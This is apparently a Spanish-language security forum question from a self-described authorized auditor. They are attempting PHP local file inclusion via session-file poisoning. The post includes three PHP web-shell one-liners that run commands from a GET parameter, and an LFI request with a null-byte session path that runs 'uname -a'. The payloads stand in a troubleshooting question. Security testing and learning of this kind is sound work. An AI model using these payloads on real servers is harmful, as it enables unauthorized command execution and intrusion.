En primer lugar, hago el descargo de responsabilidad obligatorio de que todo lo que estoy haciendo aquí es legítimo y preautorizado, etc., etc.
Para aquellos que no están familiarizados con la inclusión de archivos locales de sesión de usuario en PHP, hay un buen ejemplo aquí en la sección 2.2.4: enlace
Estoy auditando un servicio web que sufre una vulnerabilidad de LFI que solo se puede explotar a través de un archivo de sesión (no tengo derechos para leer / proc / self / environs, acceso de Apache / registros de errores, etc.). El contenido del archivo de sesión original tiene este aspecto (modificado del secreto original):
user|s:5:"user1";pass|s:4:"pass";sig|s:1:"0";
Puedo modificar el parámetro sig utilizando un proxy para interceptar el tráfico web. Por ejemplo, cambiando sig = 0 por sig = hola, veo:
user|s:5:"user1";pass|s:4:"pass";sig|s:5:"hello";
Hasta ahora, todo bien. El problema viene cuando intento inyectar código PHP en lugar de una cadena de texto. Al usar cualquiera de los códigos a continuación, veo el mismo resultado:
<?php passthru($_GET['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php exec($_GET['cmd']); ?>
El archivo de sesión registra las longitudes de las cadenas de código correctamente, pero aparentemente los contenidos se filtran.
user|s:5:"user1";pass|s:4:"pass";sig|s:28:"";
De cualquier manera, no puedo hacer que mi código PHP se ejecute, ya que esto no devuelve nada.
session=/tmp/sess_3ksjdx983klsjg1nsljd92lzs%00&cmd=uname -a
Siento que me estoy perdiendo algo bastante simple, pero no tengo mucha experiencia con PHP; por lo tanto, apreciaría mucho todas y cada una de las ideas.